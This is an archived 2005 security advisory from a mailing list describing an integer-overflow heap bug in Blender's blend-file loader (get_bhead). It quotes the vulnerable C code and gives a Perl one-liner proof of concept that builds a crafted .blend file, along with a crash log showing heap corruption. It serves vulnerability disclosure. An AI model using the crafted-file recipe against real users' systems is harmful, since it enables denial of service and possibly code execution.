

# [UNIX] Blender Integer Overflow Vulnerability (BlenLoader, get\_bhead)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00067.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 21 Dec 2005 17:02:28 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Blender Integer Overflow Vulnerability (BlenLoader, get\_bhead)

---

## SUMMARY

<<http://blender3d.org/>> Blender is the open source software for 3D modeling, animation, rendering, post-production, interactive creation and playback. Available for all major operating systems under the GNU Public License.

Remote exploitation of an integer overflow vulnerability in Blender allows execution of arbitrary code or cause denial of service.

## DETAILS

Vulnerable Systems:

\* Blender 2.x up to and including 2.40pre

An integer overflow leading to heap overflow, exists in `get_bhead()` function, that is used to read blend file structure. It is part of `BlenLoader`.

The vulnerable code is:

source/blender/blenloader/intern/readfile.c:

## [UNIX] Blender Integer Overflow Vulnerability (BlenLoader, get\_bhead)

```
static BHeadN *get_bhead(FileData *fd)
{
    BHead8 bhead8;
    BHead4 bhead4;
    BHead bhead;
    BHeadN *new_bhead = 0;
    int readsize;
    ..
    if ( ! fd->eof) {
        new_bhead = MEM_mallocN(sizeof(BHeadN) + bhead.len,
            "new_bhead");
        if (new_bhead) {
            new_bhead->next = new_bhead->prev = 0;
            new_bhead->bhead = bhead;
            readsize = fd->read(fd, new_bhead + 1, bhead.len);

            if (readsize != bhead.len) {
                fd->eof = 1;
                MEM_freeN(new_bhead);
            } else {
                fd->eof = 1;
            }
        }
        ..
        return(new_bhead);
    }
}
```

We can manipulate with bhead.len value, because it read from blend file. Allocation of memory for new\_bhead is based on bhead.len variable (MEM\_mallocN() call). If value of "bhead.len" is for example -16, we allocate only 12 bytes of memory (-16 + sizeof(BHeadN)). In next part of execution it can lead to heap overflow many times.

Proof of concept:

Example crafted blend file:

```
[root@overflow]# perl -e 'print "BLENDER_v273"; print
"\xf0\xff\xff\xff"x10' > vuln.blend
```

Now we must only load crafted file with blender:

```
[root@overflow]# blender vuln.blend
Using Python version 2.4
Memoryblock new_bhead: end corrupt
Memoryblock new_bhead: end corrupt
*** glibc detected *** malloc(): memory corruption: 0x0875eae8 ***
Abort (core dumped)
[root@overflow]#
```

ADDITIONAL INFORMATION

[UNIX] Blender Integer Overflow Vulnerability (BlenLoader, get\_bhead)

The information has been provided by <<mailto:pucik@xxxxxxxxxxx>> Damian Put.

The original article can be found at:  
<<http://www.overflow.pl/adv/blenderinteger.txt>>  
<http://www.overflow.pl/adv/blenderinteger.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@xxxxxxxxxxxxxxxx  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- Prev by Date: [\[NT\] McAfee Security Center MCINSCTL.DLL ActiveX Control File Overwrite](#)
  - Next by Date: [\[NT\] Pegasus Mail Buffer Overflow and Off-by-One \(POP3 reply, Email header\)](#)
  - Previous by thread: [\[NT\] McAfee Security Center MCINSCTL.DLL ActiveX Control File Overwrite](#)
  - Next by thread: [\[NT\] Pegasus Mail Buffer Overflow and Off-by-One \(POP3 reply, Email header\)](#)
  - Index(es):
    - ◆ [Date](#)
    - ◆ [Thread](#)